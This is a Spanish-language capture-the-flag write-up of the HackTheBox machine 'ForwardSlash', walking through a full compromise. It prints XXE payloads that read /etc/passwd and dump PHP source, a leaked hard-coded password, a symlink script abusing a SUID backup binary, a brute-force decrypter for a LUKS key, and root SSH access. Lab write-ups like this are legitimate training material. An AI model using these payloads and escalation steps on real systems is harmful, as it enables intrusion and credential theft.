ForwardSlash es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina ForwardSlash 10.10.10.183 a /etc/hosts como forwardslash.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 |
# Nmap 7.80 scan initiated Sat May 16 00:45:14 2020 as: nmap -sV -Pn -p- -oA forwardslash-nmap2 10.10.10.183 Nmap scan report for forwardslash.htb (10.10.10.183) Host is up (0.050s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat May 16 00:46:50 2020 -- 1 IP address (1 host up) scanned in 96.92 seconds |
En esta máquina no tenemos abiertos apenas servicios así que iremos directamente al puerto 80 donde vemos el siguiente portal web:
Enumeración
Escaneamos el portal con dirb mientras investigamos la web pero no encontramos prácticamente nada al respecto, sólo un fichero llamado note.txt con el siguiente contenido:
1 2 3 4 |
Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name... Anyway I am just leaving this note here to say that we still have that backup site so we should be fine. -chiv |
En el mismo parece que chiv puede ser un posible usuario en la máquina y menciona que todavía está todo bien porque está disponible el site backup.
Añadiremos a nuestro fichero /etc/hosts dicho sitio para poder acceder al mismo:
1 2 |
10.10.10.183 forwardslash.htb 10.10.10.183 backup.forwardslash.htb |
Y accedemos al portal de backup donde vemos un formulario de login:
Puesto que no tenemos una cuenta, nos creamos una a través del enlace de “sign up now” y nos logueamos en el portal accediendo a la siguiente ventana en la url /welcome.php
En esta sección, tenemos varias opciones a nuestra disposición como cambiar el password, nombre de usuario, imagen de perfil, etc.
Procedemos a acceder a la sección de cambiar de perfil pero está deshabilitada así que la dejaremos, al menos de momento.
Al descubrir el portal, habíamos lanzado otra vez la herramienta dirb, y descubrimos otra página bajo el directorio de /dev donde disponemos de un formulario para el envío de datos por xml. En esta sección hicimos varias pruebas y es necesario que el usuario con el cual se accede tenga el nombre de admin, si no es el caso, la página devolverá un error 403 prohibiendo el acceso:
Esto nos da que pensar, ante la posibilidad de que el mismo sea vulnerable a XXE por lo que para comprobarlo lanzamos una primera consulta para obtener el fichero /etc/passwd con el siguiente payload:
1 2 3 4 5 6 7 8 |
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <api> <request>&xxe;</request> </api> |
Y conseguimos que nos devuelva el contenido del fichero:
Aquí conseguimos encontrar dos posibles usuarios potenciales con los que obtener acceso a la máquina, chiv y pain.
Después de esto procedemos a descargar diferentes ficheros del portal con la idea de encontrar las credenciales de alguno de los usuarios descubiertos y conseguimos la misma con el fichero index.php de este mismo directorio dev con la siguiente carga útil:
1 2 3 4 5 6 7 8 |
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/dev/index.php" > ]> <api> <request>&xxe;</request> </api> |
Decodificamos el contenido del base64 obtenido y conseguimos el código del fichero index.php que es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
<?php //include_once ../session.php; // Initialize the session session_start(); if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){ header('HTTP/1.0 403 Forbidden'); echo "<h1>403 Access Denied</h1>"; echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>"; //echo "<h2>Redirecting to login in 3 seconds</h2>" //echo '<meta http-equiv="refresh" content="3;url=../login.php" />'; //header("location: ../login.php"); exit; } ?> <html> <h1>XML Api Test</h1> <h3>This is our api test for when our new website gets refurbished</h3> <form action="/dev/index.php" method="get" id="xmltest"> <textarea name="xml" form="xmltest" rows="20" cols="50"><api> <request>test</request> </api> </textarea> <input type="submit"> </form> </html> <!-- TODO: Fix FTP Login --> <?php if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) { $reg = '/ftp:\/\/[\s\S]*\/\"/'; //$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/' if (preg_match($reg, $_GET['xml'], $match)) { $ip = explode('/', $match[0])[2]; echo $ip; error_log("Connecting"); $conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n"); error_log("Logging in"); if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) { error_log("Getting file"); echo ftp_get_string($conn_id, "debug.txt"); } exit; } libxml_disable_entity_loader (false); $xmlfile = $_GET["xml"]; $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $api = simplexml_import_dom($dom); $req = $api->request; echo "-----output-----<br>\r\n"; echo "$req"; } function ftp_get_string($ftp, $filename) { $temp = fopen('php://temp', 'r+'); if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) { rewind($temp); return stream_get_contents($temp); } else { return false; } } ?> |
En el que vemos unas credenciales del usuario chiv en la siguiente línea:
1 |
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) { |
Probamos el acceso a la máquina y ya estamos dentro con el usuario chiv:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ ssh chiv@forwardslash.htb chiv@forwardslash.htb's password: Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat May 16 16:41:48 UTC 2020 System load: 0.02 Processes: 183 Usage of /: 30.7% of 19.56GB Users logged in: 1 Memory usage: 20% IP address for ens33: 10.10.10.183 Swap usage: 0% * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 16 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Sat May 16 16:29:59 2020 from 10.10.14.73 chiv@forwardslash:~$ whoami chiv chiv@forwardslash:~$ |
Pero este usuario no tiene permisos para leer la flag así que seguiremos buscando.
Escalado de lateral
Ahora que ya estamos dentro, observamos que en el directorio /home existe otro usuario, pain, así que tendremos que escalar al mismo para conseguir la flag de user, que se encuentra en la home de este usuario.
Enumeramos el sistema y obtenemos dos cosas que pueden sernos muy útiles, por una parte el directorio /var/backups:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
chiv@forwardslash:/var/backups$ ls -l total 804 -rw-r--r-- 1 root root 61440 Mar 24 06:25 alternatives.tar.0 -rw-r--r-- 1 root root 38908 Mar 24 06:17 apt.extended_states.0 -rw-r--r-- 1 root root 4115 Mar 6 14:17 apt.extended_states.1.gz -rw-r--r-- 1 root root 3909 Mar 5 14:46 apt.extended_states.2.gz -rw------- 1 pain pain 526 Jun 21 2019 config.php.bak -rw-r--r-- 1 root root 437 Mar 5 14:07 dpkg.diversions.0 -rw-r--r-- 1 root root 207 Mar 5 14:47 dpkg.statoverride.0 -rw-r--r-- 1 root root 668374 Mar 24 06:17 dpkg.status.0 -rw------- 1 root root 730 Mar 17 20:13 group.bak -rw------- 1 root shadow 604 Mar 17 20:13 gshadow.bak -r--r--r-- 1 root root 129 May 27 2019 note.txt -rw------- 1 root root 1660 Mar 5 14:46 passwd.bak drwxrwx--- 2 root backupoperator 4096 May 27 2019 recovery -rw------- 1 root shadow 1174 Mar 6 14:21 shadow.bak chiv@forwardslash:/var/backups$ |
Donde encontramos el fichero config.php.bak para el cual sólo tiene permisos el usuario pain, y el fichero note.txt cuyo contenido es el siguiente:
1 2 3 |
Chiv, this is the backup of the old config, the one with the password we need to actually keep safe. Please DO NOT TOUCH. -Pain |
Nos dice que es el sitio del backup antiguo, y que no lo toquemos, así que obviamente, no vamos a hacer lo que nos dice, tendremos que tocarlo jaja.
Buscamos los posibles ficheros binarios a los cuales tenemos acceso y encontramos uno en particular muy interesante:
1 2 3 4 |
$ find / -perm /4000 2>/dev/null ... /usr/bin/backup ... |
Ejecutamos el mismo y obtenemos la siguiente salida:
1 2 3 4 5 6 7 8 9 10 |
chiv@forwardslash:~$ backup ---------------------------------------------------------------------- Pain's Next-Gen Time Based Backup Viewer v0.1 NOTE: not reading the right file yet, only works if backup is taken in same second ---------------------------------------------------------------------- Current Time: 19:36:49 ERROR: bf978ef517d1efa5192f1eee08e09deb Does Not Exist or Is Not Accessible By Me, Exiting... |
Parece que el script falla porque no existe el fichero o, porque no tenemos permisos en el mismo. Después de un rato investigando a fondo y comprobando las posibilidades creamos un script simple para tratar de obtener el fichero mencionado de /var/backups a través de un enlace y con el nombre del hash de la hora del sistema en el momento de la ejecución. El script es el siguiente:
1 2 3 4 5 6 |
#!/bin/bash time="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')" echo "$time" ln -s /var/backups/config.php.bak /home/chiv/$time backup |
Ejecutamos el mismo y bingo, conseguimos el contenido del fichero config.php.bak al ejecutar el binario de backup:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
chiv@forwardslash:~$ ./time.sh 575933dc6924bf730b4eafc24e4c7b1c ---------------------------------------------------------------------- Pain's Next-Gen Time Based Backup Viewer v0.1 NOTE: not reading the right file yet, only works if backup is taken in same second ---------------------------------------------------------------------- Current Time: 19:35:18 <?php /* Database credentials. Assuming you are running MySQL server with default setting (user 'root' with no password) */ define('DB_SERVER', 'localhost'); define('DB_USERNAME', 'pain'); define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704'); define('DB_NAME', 'site'); /* Attempt to connect to MySQL database */ $link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME); // Check connection if($link === false){ die("ERROR: Could not connect. " . mysqli_connect_error()); } ?> chiv@forwardslash:~$ |
Y con ello la password del usuario pain.
Obteniendo la flag de user
Con las credenciales obtenidas escalamos al usuario pain y conseguimos la flag de user:
1 2 3 4 5 6 7 8 9 10 11 |
chiv@forwardslash:~$ su pain Password: pain@forwardslash:/home/chiv$ whoami pain pain@forwardslash:/home/chiv$ cd pain@forwardslash:~$ ls -l total 12 drwxr-xr-x 2 pain root 4096 May 16 21:52 encryptorinator -rw-r--r-- 1 pain root 256 Jun 3 2019 note.txt -rw------- 1 pain pain 33 May 16 20:05 user.txt pain@forwardslash:~$ |
Escalando privilegios a root
Estamos un poco más cerca de root así que revisaremos a continuación los permisos del usuario pain:
1 2 3 4 5 6 7 8 9 |
pain@forwardslash:/var/backups$ sudo -l Matching Defaults entries for pain on forwardslash: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User pain may run the following commands on forwardslash: (root) NOPASSWD: /sbin/cryptsetup luksOpen * (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/ (root) NOPASSWD: /bin/umount ./mnt/ pain@forwardslash:/var/backups$ |
Y observamos la carpeta recovery a la que no teníamos acceso antes:
1 2 3 4 |
pain@forwardslash:/var/backups$ ls -l recovery/ total 976568 -rw-r----- 1 root backupoperator 1000000000 Mar 24 12:12 encrypted_backup.img pain@forwardslash:/var/backups$ |
Parece que el backup está encriptado, así que siguiendo con la búsqueda encontramos un directorio llamado encryptorinator en la home del usuario pain y en la misma un script en python y un fichero con un texto cifrado:
1 2 3 4 5 |
pain@forwardslash:~$ ls -l encryptorinator/ total 8 -rw-r--r-- 1 pain root 165 Jun 3 2019 ciphertext -rw-r--r-- 1 pain root 931 Jun 3 2019 encrypter.py pain@forwardslash:~$ |
Analizamos el script en python y su código es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
def encrypt(key, msg): key = list(key) msg = list(msg) for char_key in key: for i in range(len(msg)): if i == 0: tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1]) else: tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1]) while tmp > 255: tmp -= 256 msg[i] = chr(tmp) return ''.join(msg) def decrypt(key, msg): key = list(key) msg = list(msg) for char_key in reversed(key): for i in reversed(range(len(msg))): if i == 0: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1])) else: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1])) while tmp < 0: tmp += 256 msg[i] = chr(tmp) return ''.join(msg) print encrypt('REDACTED', 'REDACTED') print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED')) |
Tenemos la función a través de la cual se ha cifrado y el código para descifrarlo pero parece que vamos a necesitar algo más, creamos nuestro exploit en python, cuyo contenido es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
def decrypt(key, msg): key = list(key) msg = list(msg) for char_key in reversed(key): for i in reversed(range(len(msg))): if i == 0: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1])) else: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1])) while tmp < 0: tmp += 256 msg[i] = chr(tmp) return ''.join(msg) ciphertext = open('ciphertext', 'r').read().rstrip() for i in range(1,165): for n in range(33,127): key = chr(n) * i msg = decrypt(key, ciphertext) if 'the ' in msg : print "key: %s, key length: %s, msg: %s" %(key,len(key),msg) exit() |
Como se aprecia, copiamos el código de descifrado, y le añadimos el código para abrir el fichero e ir comprobando el decodificado realizado. Ejecutaremos el mismo y obtenemos el siguiente texto descifrado:
1 |
key: ttttttttttttttttt, key length: 17, msg: Hl��vF��;�������&you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf |
Y tenemos la clave para descifrar el fichero de imagen que encontramos en la ruta del backup.
Volviendo a los permisos de sudo de los que disponía el usuario:
1 2 3 4 |
User pain may run the following commands on forwardslash: (root) NOPASSWD: /sbin/cryptsetup luksOpen * (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/ (root) NOPASSWD: /bin/umount ./mnt/ |
Podemos descifrar cualquier archivo con luks, montar la unidad de /dev/mapper/backup sobre ./mnt y desmontar la unidad sobre mnt, así que procedemos en primer paso a descifrar el archivo de imagen encontrado:
1 2 3 |
pain@forwardslash:/dev/mapper$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup Enter passphrase for /var/backups/recovery/encrypted_backup.img: pain@forwardslash:/dev/mapper$ |
Posteriormente lo montamos:
1 2 |
pain@forwardslash:/$ sudo /bin/mount /dev/mapper/backup ./mnt/ pain@forwardslash:/$ |
Y revisamos el contenido:
1 2 3 4 5 |
pain@forwardslash:/$ ll /mnt/ total 8 drwxr-xr-x 2 root root 20 Mar 17 20:07 ./ drwxr-xr-x 24 root root 4096 Mar 24 06:17 ../ -rw-r--r-- 1 root root 1675 May 27 2019 id_rsa |
Y tenemos una clave para el acceso de ssh del usuario root.
Obteniendo la flag de root
Con la clave ssh obtenida, probamos el acceso como root a la máquina:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
$ ssh -i id_rsa root@forwardslash.htb The authenticity of host 'forwardslash.htb (10.10.10.183)' can't be established. ECDSA key fingerprint is SHA256:7DrtoyB3GmTDLmPm01m7dHeoaPjA7+ixb3GDFhGn0HM. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'forwardslash.htb,10.10.10.183' (ECDSA) to the list of known hosts. Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat May 16 19:17:57 UTC 2020 System load: 0.03 Processes: 200 Usage of /: 30.9% of 19.56GB Users logged in: 1 Memory usage: 21% IP address for ens33: 10.10.10.183 Swap usage: 0% => There is 1 zombie process. * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 16 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Mar 24 12:11:46 2020 from 10.10.14.3 root@forwardslash:~# id uid=0(root) gid=0(root) groups=0(root) root@forwardslash:~# root@forwardslash:~# ls -l total 4 -rw------- 1 root root 33 May 16 13:53 root.txt root@forwardslash:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respecto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792